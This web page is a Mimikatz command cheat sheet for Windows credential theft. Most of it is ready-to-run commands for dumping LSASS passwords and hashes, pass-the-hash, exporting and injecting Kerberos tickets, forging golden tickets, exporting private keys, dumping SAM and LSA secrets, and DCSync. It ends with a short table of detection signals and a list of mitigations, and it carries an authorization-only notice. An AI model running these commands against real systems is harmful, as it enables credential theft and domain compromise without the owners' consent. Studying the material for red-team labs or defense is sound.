Skip to content

Mimikatz

Source: gentilkiwi/mimikatz Author: Johan Beysen

1. What Is Mimikatz?

Mimikatz is a post-exploitation tool for Windows that can extract credential information from memory. It's used by both red teamers and attackers for lateral movement and privilege escalation.

Authorization only

Mimikatz is only permitted in authorized engagements, CTF environments or isolated labs. Use on production systems without authorization is illegal.

2. Preparation

privilege::debug

Why privilege::debug?

Debug privileges are needed to read LSASS memory. Requires local admin rights or SYSTEM.

3. Sekurlsa — Credential Dumping

# Retrieve all logged-in credentials (passwords, hashes, tickets)
sekurlsa::logonpasswords

# Export Kerberos tickets to .kirbi files
sekurlsa::tickets /export

# Pass-the-Hash: run a command as another user via the NTLM hash
sekurlsa::pth /user:Administrator /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd
Command What it does
sekurlsa::logonpasswords Dumps passwords and hashes from LSASS
sekurlsa::tickets /export Exports all Kerberos tickets
sekurlsa::pth Starts a Pass-the-Hash attack

4. Kerberos

# List and export all Kerberos tickets
kerberos::list /export

# Import a ticket (Pass-the-Ticket)
kerberos::ptt c:\chocolate.kirbi

# Create a Golden Ticket
kerberos::golden /admin:administrator /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi

Golden Ticket

A Golden Ticket grants unlimited domain rights as long as the krbtgt hash isn't reset. Detectable via abnormal ticket lifetimes in a SIEM.

5. Crypto — Certificates & Keys

# Patching CryptoAPI (for certificate export)
crypto::capi
crypto::cng

# Exporting certificates (current user)
crypto::certificates /export

# Exporting certificates (local machine store)
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE

# Exporting private keys
crypto::keys /export
crypto::keys /machine /export

6. Vault & LSA Dump

# Querying the Windows Credential Vault
vault::cred
vault::list

# With elevated rights (token elevation + vault dump)
token::elevate
vault::cred
vault::list

# Dumping the SAM database (local accounts)
lsadump::sam

# Dumping LSA secrets (service accounts, cached creds)
lsadump::secrets

# Cached domain credentials
lsadump::cache

# Restoring the original token
token::revert

# DCSync attack: simulating domain controller synchronization
lsadump::dcsync /user:domain\krbtgt /domain:lab.local

DCSync

lsadump::dcsync simulates a domain controller and retrieves hashes without needing to touch LSASS. Requires Domain Admin or equivalent rights. Detectable via 4662 events in the DC event log.

7. Detection & Mitigation

Technique Detection signal
sekurlsa::logonpasswords LSASS access from an unknown process (Sysmon Event 10)
lsadump::dcsync Event 4662 on the domain controller
kerberos::golden A ticket with an unusual lifetime in the SIEM
sekurlsa::pth A new process with an unexpected token (Event 4624 type 9)

Mitigations:

  • Enable the Protected Users security group
  • Enable Credential Guard (Windows 10+)
  • LSA Protection: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL = 1
  • Use Privileged Access Workstations (PAW)